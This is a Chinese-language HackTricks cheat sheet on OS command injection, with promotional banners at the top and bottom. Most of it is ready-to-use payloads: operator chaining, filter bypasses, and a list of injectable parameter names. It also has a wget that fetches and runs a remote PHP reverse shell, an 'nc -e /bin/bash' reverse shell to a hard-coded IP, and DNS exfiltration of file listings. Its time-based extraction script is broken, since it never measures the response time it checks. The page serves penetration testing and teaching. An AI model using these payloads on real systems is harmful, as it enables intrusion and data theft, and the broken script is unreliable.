10 KiB
命令注入
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 你在一个网络安全公司工作吗?你想在HackTricks中看到你的公司广告吗?或者你想获得PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
- 发现我们的独家NFTs收藏品The PEASS Family
- 获取官方PEASS和HackTricks周边产品
- 加入💬 Discord群组或电报群组,或者关注我在Twitter上的🐦@carlospolopm。
- 通过向hacktricks repo 和hacktricks-cloud repo 提交PR来分享你的黑客技巧。
使用Trickest可以轻松构建和自动化工作流程,使用全球最先进的社区工具。
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
什么是命令注入?
操作系统命令注入(也称为shell注入)是一种Web安全漏洞,允许攻击者在运行应用程序的服务器上执行任意操作系统(OS)命令,并通常完全破坏应用程序及其所有数据。(来自这里)。
上下文
根据你的输入被注入的位置,你可能需要在命令之前终止引用的上下文(使用"
或'
)。
命令注入/执行
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful
#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
限制绕过
如果你想在Linux机器上执行任意命令,你会对以下绕过方法感兴趣:
{% content-ref url="../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md" %} bypass-bash-restrictions.md {% endcontent-ref %}
示例
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
参数
以下是可能容易受到代码注入和类似远程命令执行(RCE)漏洞攻击的前25个参数(来自链接):
?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}
基于时间的数据泄露
逐个字符提取数据
# Extracting data: char by char
# 提取数据:逐个字符
In some cases, command injection vulnerabilities may allow an attacker to extract sensitive data from a target system. One technique for extracting data is to do it character by character, using time delays to determine the value of each character.
在某些情况下,命令注入漏洞可能允许攻击者从目标系统中提取敏感数据。一种提取数据的技术是逐个字符进行,使用时间延迟来确定每个字符的值。
The idea behind this technique is to inject a command that will cause a time delay if a certain condition is met. By injecting a command that iterates through all possible characters and checking the response time, an attacker can determine the value of each character in the target data.
这种技术的思想是注入一个命令,如果满足某个条件,就会导致时间延迟。通过注入一个遍历所有可能字符并检查响应时间的命令,攻击者可以确定目标数据中每个字符的值。
Here is an example of how this technique can be used to extract data character by character:
以下是使用这种技术逐个字符提取数据的示例:
# Extracting data character by character
# 逐个字符提取数据
for i in {1..20}; do
for c in {a..z} {A..Z} {0..9} _; do
response=$(curl -s "http://example.com/?input=$(echo -n "SELECT column FROM table WHERE condition AND SUBSTRING(data,$i,1)='$c'" | base64)")
if [ $response_time > 2 ]; then
echo -n $c
break
fi
done
done
In this example, the attacker is injecting a command that iterates through all possible characters (lowercase letters, uppercase letters, numbers, and underscore) and checks the response time for each character. If the response time is greater than 2 seconds, it means that the injected character is correct and is part of the target data. The attacker then moves on to the next character.
在这个示例中,攻击者注入了一个命令,该命令遍历所有可能的字符(小写字母、大写字母、数字和下划线),并检查每个字符的响应时间。如果响应时间大于2秒,表示注入的字符是正确的,并且是目标数据的一部分。然后,攻击者继续下一个字符。
By repeating this process for each character in the target data, the attacker can gradually extract the entire data set.
通过对目标数据中的每个字符重复此过程,攻击者可以逐步提取整个数据集。
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
user 0m0.000s
sys 0m0.000s
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real 0m0.002s
user 0m0.000s
sys 0m0.000s
基于DNS的数据泄露
基于https://github.com/HoLyVieR/dnsbin
上的工具,也托管在dnsbin.zhack.ca上。
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
在线工具检查基于DNS的数据泄露:
- dnsbin.zhack.ca
- pingb.in
绕过过滤
Windows
powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
Linux
{% content-ref url="../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md" %} bypass-bash-restrictions.md {% endcontent-ref %}
Brute-Force Detection List
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %}
References
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection" %}
{% embed url="https://portswigger.net/web-security/os-command-injection" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 你在一个网络安全公司工作吗?你想在HackTricks中看到你的公司广告吗?或者你想要获取PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
- 发现我们的独家NFTs收藏品The PEASS Family
- 获取官方PEASS和HackTricks的衣物
- 加入💬 Discord群组或电报群组或关注我在Twitter上的🐦@carlospolopm。
- 通过向hacktricks repo 和hacktricks-cloud repo 提交PR来分享你的黑客技巧。
使用Trickest轻松构建和自动化工作流程,使用全球最先进的社区工具驱动。
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}